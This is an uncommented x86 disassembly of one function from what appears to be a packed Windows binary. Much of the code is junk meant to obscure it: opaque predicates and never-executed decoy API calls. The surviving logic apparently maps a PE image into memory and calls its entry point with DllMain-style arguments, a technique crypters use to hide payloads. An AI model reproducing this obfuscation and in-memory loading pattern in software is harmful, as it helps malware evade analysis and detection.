jmp 0x43435f
mov dword [ebp - 0x2b4], 1
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
je 0x434385
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x8c], eax
jmp 0x434593
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x2bc], 0x25b78c6a
cmp dword [ebp - 0x54], 0xffffffff
jae 0x434555
mov dword [ebp - 0x54c], 1
xor eax, eax
inc eax
je 0x434446
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x20]
mov dword [ebp + ecx*4 - 0x20], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, 0x34f12ce3
sub ecx, dword [ebp + eax - 0x20]
cmp ecx, 0xfffffff9
jne 0x4343e7
mov eax, 0x6971
test eax, eax
jne 0x4343e7
and dword [ebp - 0x588], 0
jmp 0x4343f1
mov dword [ebp - 0x588], 1
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x20]
mov dword [ebp - 0x788], eax
mov dword [ebp - 0x2bc], 0xc6a
mov eax, dword [ebp - 0x2bc]
add eax, dword [ebp - 0x538]
cmp eax, dword [ebp - 0xcc]
jne 0x434428
mov dword [ebp - 0x2c4], 1
jmp 0x43442f
and dword [ebp - 0x2c4], 0
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x2c4]
jge 0x434446
mov dword [ebp - 0x2cc], 1
jmp 0x43444d
and dword [ebp - 0x2cc], 0
mov eax, dword [ebp - 0x54c]
cmp dword [ebp - 0x2cc], eax
jg 0x434467
mov dword [ebp - 0x2d4], 1
jmp 0x43446e
and dword [ebp - 0x2d4], 0
mov eax, dword [ebp - 0x8c]
imul eax, dword [ebp - 0x2d4]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0xb4], eax
jle 0x43449b
mov dword [ebp - 0x544], 1
jmp 0x4344a2
and dword [ebp - 0x544], 0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x6f0], eax
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0xcc], eax
je 0x4344c2
mov dword [ebp - 0x2dc], 1
jmp 0x4344c9
and dword [ebp - 0x2dc], 0
mov eax, dword [ebp - 0x2dc]
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x548], eax
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x188], eax
jne 0x4344fb
mov dword [ebp - 0x2e4], 1
jmp 0x434502
and dword [ebp - 0x2e4], 0
mov eax, dword [ebp - 0x2e4]
add eax, 0x5065
cmp dword [ebp - 0x54], eax
jl 0x43451e
mov dword [ebp - 0x2ec], 1
jmp 0x434525
and dword [ebp - 0x2ec], 0
mov eax, dword [ebp - 0x2ec]
mov dword [ebp - 0x2f4], eax
mov eax, dword [ebp - 0x2f4]
mov dword [ebp - 0x750], eax
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x6f8], eax
mov dword [ebp - 0x8c], 0x6914f091
jmp 0x434593
mov dword [ebp - 0x54], 0
jmp 0x434565
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jg 0x434593
mov byte [ebp - 0x7d], 0
movzx eax, byte [ebp - 0x7d]
test eax, eax
je 0x434587
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov dword [ebp - 0x8c], 0x13f3b720
jmp 0x43455e
jmp 0x43419f
mov byte [ebp - 0x5e], 0
movzx eax, byte [ebp - 0x5e]
test eax, eax
je 0x4345c4
push 0
push 0x16be
push 0x821
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
cmp dword [ebp - 0x178], 0
jne 0x4345d4
xor eax, eax
jmp 0x435566
push 3
lea ecx, [ebp - 0x598]
call fcn.004359e4
mov dword [ebp - 0x94], 4
mov dword [ebp - 0x30], 0
jmp 0x4345fb
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x434617
push dword [ebp - 0x30]
lea ecx, [ebp - 0x598]
call fcn.00435ad2
mov dword [eax], 0xe48d
jmp 0x4345f4
mov dword [ebp - 0x30], 0
jmp 0x434627
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x43463d
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x494], 0xba5b0420
jmp 0x434620
mov dword [ebp - 0x94], 0
jmp 0x434656
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 2
jg 0x434bc8
mov dword [ebp - 0x18], 0xbac0
mov dword [ebp - 0x9c], 0
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0
jmp 0x43468b
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jg 0x434bc3
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x4ec], 0x941ce3cb
mov dword [ebp - 0x140], 1
mov dword [ebp - 0x108], 0xfffffffa
mov dword [ebp - 0x3d8], 8
mov dword [ebp - 0x5c], 0
jmp 0x4346d4
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 2
jg 0x434afe
mov dword [ebp - 0x374], 0xc9bf5e4d
mov dword [ebp - 0x130], 0
jmp 0x434701
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 3
jge 0x43471d
mov eax, dword [ebp - 0x130]
mov dword [ebp + eax*4 - 0x7bc], 0x4c7c9a7
jmp 0x4346f4
push dword [ebp - 0x94]
lea ecx, [ebp - 0x598]
call fcn.00435ad2
cmp dword [eax], 0xfffffffe
jg 0x43473f
mov dword [ebp - 0x31c], 1
jmp 0x434746
and dword [ebp - 0x31c], 0
mov eax, dword [ebp - 0x5c]
sub eax, dword [ebp - 0x4ec]
je 0x434773
push dword [ebp - 0x94]
lea ecx, [ebp - 0x598]
call fcn.00435ad2
cmp dword [eax], 0
je 0x434773
mov dword [ebp - 0x2fc], 1
jmp 0x43477a
and dword [ebp - 0x2fc], 0
mov eax, dword [ebp - 0x2fc]
sub eax, 0x66c1
cmp eax, 0x91f6
je 0x43479c
push 5
pop eax
test eax, eax
jne 0x43479c
and dword [ebp - 0x304], 0
jmp 0x4347a6
mov dword [ebp - 0x304], 1
cmp dword [ebp - 0x304], 0x972c
jge 0x4347be
mov dword [ebp - 0x30c], 1
jmp 0x4347c5
and dword [ebp - 0x30c], 0
cmp dword [ebp - 0x30c], 0x9a85
jne 0x4347e3
cmp dword [ebp - 0x140], 0
jne 0x4347e3
and dword [ebp - 0x314], 0
jmp 0x4347ed
mov dword [ebp - 0x314], 1
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x314]
je 0x43480d
cmp dword [ebp - 0x374], 0
je 0x43480d
mov dword [ebp - 0x324], 1
jmp 0x434814
and dword [ebp - 0x324], 0
mov eax, dword [ebp - 0x31c]
sub eax, dword [ebp - 0x324]
cmp eax, 5
jg 0x434831
mov dword [ebp - 0x32c], 1
jmp 0x434838
and dword [ebp - 0x32c], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x32c], eax
jg 0x43484f
mov dword [ebp - 0x334], 1
jmp 0x434856
and dword [ebp - 0x334], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x334], eax
jge 0x43486d
mov dword [ebp - 0x33c], 1
jmp 0x434874
and dword [ebp - 0x33c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x33c]
mov dword [ebp + eax - 0x494], ecx
mov dword [ebp - 0x140], 0xfffc
cmp dword [ebp - 0x140], 3
jg 0x4348a6
mov dword [ebp - 0x344], 1
jmp 0x4348ad
and dword [ebp - 0x344], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x344], eax
jg 0x4348c4
mov dword [ebp - 0x34c], 1
jmp 0x4348cb
and dword [ebp - 0x34c], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x34c], eax
jl 0x4348e2
mov dword [ebp - 0x354], 1
jmp 0x4348e9
and dword [ebp - 0x354], 0
cmp dword [ebp - 0x354], 0x6a8a
jne 0x434901
mov dword [ebp - 0x35c], 1
jmp 0x434908
and dword [ebp - 0x35c], 0
cmp dword [ebp - 0x35c], 0x66593c39
jg 0x434920
mov dword [ebp - 0x364], 1
jmp 0x434927
and dword [ebp - 0x364], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x364], eax
jle 0x43493e
mov dword [ebp - 0x36c], 1
jmp 0x434945
and dword [ebp - 0x36c], 0
mov eax, dword [ebp - 0x36c]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
add eax, dword [ebp - 0x374]
cmp eax, dword [ebp - 0x18]
jl 0x43496e
mov dword [ebp - 0x390], 1
jmp 0x434975
and dword [ebp - 0x390], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x494]
cmp dword [ebp - 0x390], eax
jge 0x434996
mov dword [ebp - 0x398], 1
jmp 0x43499d
and dword [ebp - 0x398], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x494]
cmp dword [ebp - 0x398], eax
je 0x4349c7
cmp dword [ebp - 0x108], 0
je 0x4349c7
mov dword [ebp - 0x3a0], 1
jmp 0x4349ce
and dword [ebp - 0x3a0], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x3a0], eax
je 0x4349e5
mov dword [ebp - 0x3a8], 1
jmp 0x4349ec
and dword [ebp - 0x3a8], 0
cmp dword [ebp - 0x3a8], 0xce3c
je 0x434a04
mov dword [ebp - 0x3b0], 1
jmp 0x434a0b
and dword [ebp - 0x3b0], 0
cmp dword [ebp - 0x3b0], 1
jbe 0x434a20
mov dword [ebp - 0x3b8], 1
jmp 0x434a27
and dword [ebp - 0x3b8], 0
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x94]
add ecx, dword [ebp - 0x3b8]
sub eax, ecx
jne 0x434a46
mov dword [ebp - 0x3c0], 1
jmp 0x434a4d
and dword [ebp - 0x3c0], 0
cmp dword [ebp - 0x3c0], 0x8720725f
jae 0x434a65
mov dword [ebp - 0x3c8], 1
jmp 0x434a6c
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x3c8]
sub eax, dword [ebp - 0x18]
je 0x434a92
mov byte [ebp - 0x5f], 0
movzx eax, byte [ebp - 0x5f]
test eax, eax
je 0x434a90
push 0x7c9
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x434af9
mov dword [ebp - 0x190], 0xfffffff8
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
sub eax, 0x2777
je 0x434ad1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x494], 0
je 0x434ad1
mov dword [ebp - 0x3d0], 1
jmp 0x434ad8
and dword [ebp - 0x3d0], 0
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x190]
neg eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x7bc], eax
jmp 0x4346cd
mov dword [ebp - 0x9c], 0
jmp 0x434b17
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 2
jg 0x434bbe
push 1
lea ecx, [ebp - 0x664]
call fcn.004359e4
mov dword [ebp - 0x104], 0
jmp 0x434b4a
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 1
jge 0x434b69
push dword [ebp - 0x104]
lea ecx, [ebp - 0x664]
call fcn.00435ad2
and dword [eax], 0
jmp 0x434b3d
push 0
lea ecx, [ebp - 0x664]
call fcn.00435ad2
mov eax, dword [eax]
mov dword [ebp - 0x3d8], eax
mov eax, dword [ebp - 0x108]
imul eax, dword [ebp - 0x3d8]
test eax, eax
ja 0x434b9b
mov dword [ebp - 0x3e0], 1
jmp 0x434ba2
and dword [ebp - 0x3e0], 0
mov eax, dword [ebp - 0x3e0]
mov dword [ebp - 0x140], eax
lea ecx, [ebp - 0x664]
call fcn.00435ab6
jmp 0x434b0a
jmp 0x434684
jmp 0x434649
lea ecx, [ebp - 0x598]
call fcn.00435ab6
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x798]
push eax
push 0x4e06
push 0x2183
push 0x1ff3
push 0x73bd
push 0x3764
push 0x2703
push 0x4626
push 0x6349
push dword [ebp - 0xd4]
push 1
push 0x5a45
push 0x71b4
push 1
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x198]
push 0x51ae
push 1
push 0x18f5
call fcn.00430ba9
add esp, 0x50
and dword [ebp - 0x614], 0
and dword [ebp - 0x610], 0
and dword [ebp - 0x60c], 0
and dword [ebp - 0x608], 0
lea ecx, [ebp - 0x181]
call fcn.00435ae1
push eax
lea eax, [ebp - 0x604]
push eax
lea eax, [ebp - 0x614]
push eax
lea ecx, [ebp - 0x7fc]
call fcn.00435ae4
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x7d4]
call fcn.00435a90
mov dword [ebp - 0x148], 0
jmp 0x434ca5
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 2
jge 0x434cc1
mov eax, dword [ebp - 0x148]
mov dword [ebp + eax*4 - 0x49c], 0xe0648261
jmp 0x434c98
mov byte [ebp - 0x61], 0
movzx eax, byte [ebp - 0x61]
test eax, eax
je 0x434ce8
push 0
push 0x6aa
push 0x2359
push 0x12b6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x49c], 0
jmp 0x434d16
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x49c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x49c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x49c], 0xffffffeb
jle 0x434d9a
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x150], 3
jmp 0x434d49
mov eax, dword [ebp - 0x150]
dec eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0
jl 0x434d7c
mov byte [ebp - 0x63], 0
movzx eax, byte [ebp - 0x63]
test eax, eax
je 0x434d7a
push 0x19e4
push 0x15ac
push 0x1534
push 0x10e2
push 0
call dword [sym.imp.USER32.dll_SetRect]
jmp 0x434d3c
mov byte [ebp - 0x65], 0
movzx eax, byte [ebp - 0x65]
test eax, eax
je 0x434d95
push 0x1f74
push 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
jmp 0x434cfb
lea ecx, [ebp - 0x7d4]
call fcn.00435ab6
push 1
push 0
push dword [ebp + 8]
push 1
push dword [ebp - 0xd4]
push dword [ebp - 0x28]
push 0x5c61
push 0
call fcn.00426f29
add esp, 0x20
mov dword [ebp - 0x3f0], 7
mov dword [ebp - 0x158], 0
jmp 0x434de9
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 2
jge 0x434e05
mov eax, dword [ebp - 0x158]
mov dword [ebp + eax*4 - 0x4a4], 0xffffffff
jmp 0x434ddc
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x4a4]
cmp dword [ebp + eax - 0x4a4], ecx
je 0x434e68
xor eax, eax
jne 0x434e68
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
xor edx, edx
inc edx
sub edx, dword [ebp + ecx - 0x4a4]
cmp dword [ebp + eax - 0x4a4], edx
jl 0x434e50
mov dword [ebp - 0x3e8], 1
jmp 0x434e57
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x3f0]
imul eax, dword [ebp - 0x3e8]
test eax, eax
je 0x434e74
mov dword [ebp - 0x3f0], 0x752f67d5
jmp 0x434e94
mov byte [ebp - 0x67], 0
movzx eax, byte [ebp - 0x67]
test eax, eax
je 0x434e94
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetParent]
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0x178]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x1e0], ecx
mov dword [ebp - 0xe8], 0x68ec0ae9
mov dword [ebp - 0x1d8], 0
mov dword [ebp - 0xe8], 0xffffffef
jmp 0x434ed6
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x16
jle 0x434f6f
mov dword [ebp - 0xdc], 1
mov dword [ebp - 0x160], 0
jmp 0x434f06
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 1
jge 0x434f22
mov eax, dword [ebp - 0x160]
mov dword [ebp + eax*4 - 0x1d0], 1
jmp 0x434ef9
mov dword [ebp - 0xdc], 0
jmp 0x434f3b
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 1
jge 0x434f57
mov eax, dword [ebp - 0xdc]
mov dword [ebp + eax*4 - 0x1d0], 0
jmp 0x434f2e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d0]
mov dword [ebp - 0x1d8], eax
jmp 0x434ec9
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1e0], 0
je 0x434fe7
push 1
push 0x3c6c
push 0x4f31
push 1
push 0x36e
push 0x330d
push dword [ebp - 0x28]
push 0x1620
push 0xc43
push 1
push 0x1464
push dword [ebp - 0x1e0]
push 0x4906
push 0x7e68
push 0x86c
push 0x39a7
push 0x4dae
push 0x689c
push 1
push 0
push 0
push 0x1789
call fcn.0042b5b5
add esp, 0x58
push dword [ebp - 0x28]
call fcn.00419cc1
pop ecx
test eax, eax
jne 0x434ffb
xor eax, eax
jmp 0x435566
mov dword [ebp - 0xb0], 0x4a9bdba7
mov dword [ebp - 0x5d8], 6
mov dword [ebp - 0x5d4], 6
mov dword [ebp - 0x5d0], 6
mov dword [ebp - 0x5cc], 6
lea ecx, [ebp - 0x1b9]
call fcn.00435ae1
push eax
lea eax, [ebp - 0x5c8]
push eax
lea eax, [ebp - 0x5d8]
push eax
lea ecx, [ebp - 0x7f4]
call fcn.00435ae4
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x7c8]
call fcn.00435a90
mov eax, dword [ebp - 0xb0]
dec eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xb0], 0
jmp 0x435088
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jg 0x4350de
mov dword [ebp - 0x168], 1
mov dword [ebp - 0x168], 0
jmp 0x4350b4
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 3
jg 0x4350dc
mov byte [ebp - 0x69], 0
movzx eax, byte [ebp - 0x69]
test eax, eax
je 0x4350da
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
jmp 0x4350a7
jmp 0x43507b
lea ecx, [ebp - 0x7c8]
call fcn.00435ab6
push 1
push 0x7769
push 1
push 0x3d78
push 1
push 0x54d5
push 0x39f8
push 1
push 0xd73
push 0
push 0x34e9
push 0
push dword [ebp - 0x28]
call fcn.00421895
add esp, 0x34
push 2
lea ecx, [ebp - 0x634]
call fcn.004359e4
push 3
lea ecx, [ebp - 0x4b0]
call fcn.004359e4
mov dword [ebp - 0x170], 9
mov dword [ebp - 0x34], 0
jmp 0x435152
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x43516e
push dword [ebp - 0x34]
lea ecx, [ebp - 0x634]
call fcn.00435ad2
mov dword [eax], 1
jmp 0x43514b
mov dword [ebp - 0x34], 0
jmp 0x43517e
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x435197
push dword [ebp - 0x34]
lea ecx, [ebp - 0x4b0]
call fcn.00435ad2
and dword [eax], 0
jmp 0x435177
push 0
lea ecx, [ebp - 0x4b0]
call fcn.00435ad2
mov dword [eax], 1
jmp 0x4351d0
push 0
lea ecx, [ebp - 0x4b0]
call fcn.00435ad2
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x1e8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1e8]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x4b0]
call fcn.00435ad2
cmp dword [eax], 0
jl 0x435205
push 0
lea ecx, [ebp - 0x4b0]
call fcn.00435ad2
push dword [eax]
lea ecx, [ebp - 0x634]
call fcn.00435ad2
cmp dword [eax], 0
je 0x435203
jmp 0x435205
jmp 0x4351ac
mov dword [ebp - 0x170], 0
jmp 0x43521e
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 6
jle 0x435272
mov byte [ebp - 0x6b], 0
movzx eax, byte [ebp - 0x6b]
test eax, eax
je 0x435249
push 0x121d
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
mov byte [ebp - 0x6d], 0
movzx eax, byte [ebp - 0x6d]
test eax, eax
je 0x435270
push 0x1acc
push 0
push 0x2409
push 0
push 0x1a1f
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
jmp 0x435211
lea ecx, [ebp - 0x4b0]
call fcn.00435ab6
lea ecx, [ebp - 0x634]
call fcn.00435ab6
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x4352df
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x178]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x1f0], ecx
jne 0x4352b0
xor eax, eax
jmp 0x435566
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x1f0]
mov dword [ebp - 0x4f0], eax
cmp dword [ebp - 0x4f0], 0
jne 0x4352d5
xor eax, eax
jmp 0x435566
mov eax, dword [ebp - 0x28]
mov dword [eax + 0x10], 1
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x208], 4
mov dword [ebp - 0xe4], 0xd6c34f1d
mov dword [ebp - 0x58], 0
jmp 0x43530a
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 9
jl 0x435545
mov dword [ebp - 0x38], 1
mov dword [ebp - 0xf0], 0x71cb27f0
push 3
lea ecx, [ebp - 0x76c]
call fcn.004359e4
mov dword [ebp - 0x144], 0
jmp 0x43534b
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 3
jge 0x43536a
push dword [ebp - 0x144]
lea ecx, [ebp - 0x76c]
call fcn.00435ad2
and dword [eax], 0
jmp 0x43533e
mov eax, 0x23e6
test eax, eax
je 0x435479
mov dword [ebp - 0x38], 0x796840eb
cmp dword [ebp - 0x38], 0xe468a07c
jb 0x435393
mov dword [ebp - 0x1f8], 1
jmp 0x43539a
and dword [ebp - 0x1f8], 0
cmp dword [ebp - 0x1f8], 0x2a96
jne 0x4353b2
mov dword [ebp - 0x200], 1
jmp 0x4353b9
and dword [ebp - 0x200], 0
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x208], eax
mov eax, dword [ebp - 0x208]
sub eax, dword [ebp - 0xf0]
cmp eax, 1
jge 0x4353da
cmp dword [ebp - 0x38], 0
mov eax, dword [ebp - 0xf0]
sub eax, dword [ebp - 0xf0]
cmp eax, 0xfffe
jbe 0x4353f9
mov dword [ebp - 0x210], 1
jmp 0x435400
and dword [ebp - 0x210], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x210], eax
jg 0x435417
mov dword [ebp - 0x4f8], 1
jmp 0x43541e
and dword [ebp - 0x4f8], 0
cmp dword [ebp - 0xf0], 0
jne 0x435439
cmp dword [ebp - 0xf0], 0
jne 0x435439
and dword [ebp - 0x218], 0
jmp 0x435443
mov dword [ebp - 0x218], 1
cmp dword [ebp - 0x218], 0xfff6
jae 0x43545b
mov dword [ebp - 0x220], 1
jmp 0x435462
and dword [ebp - 0x220], 0
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x220]
jg 0x435479
mov dword [ebp - 0x228], 1
jmp 0x435480
and dword [ebp - 0x228], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x228], eax
je 0x435497
mov dword [ebp - 0x500], 1
jmp 0x43549e
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x700], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x760], eax
cmp dword [ebp - 0x38], 0x1857497f
jg 0x4354c5
mov dword [ebp - 0x230], 1
jmp 0x4354cc
and dword [ebp - 0x230], 0
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe4], 0x16
jmp 0x4354f1
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x1c
jg 0x435535
mov dword [ebp - 0x38], 2
jmp 0x43550a
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jl 0x435533
mov byte [ebp - 0x6c], 0
movzx eax, byte [ebp - 0x6c]
test eax, eax
je 0x435531
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
jmp 0x435503
jmp 0x4354e4
lea ecx, [ebp - 0x76c]
call fcn.00435ab6
jmp 0x435303
mov eax, dword [ebp - 0x28]
cmp dword [eax + 0x10], 0
je 0x435559
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x238], eax
jmp 0x435560
and dword [ebp - 0x238], 0
mov eax, dword [ebp - 0x238]
pop esi
mov esp, ebp
pop ebp
ret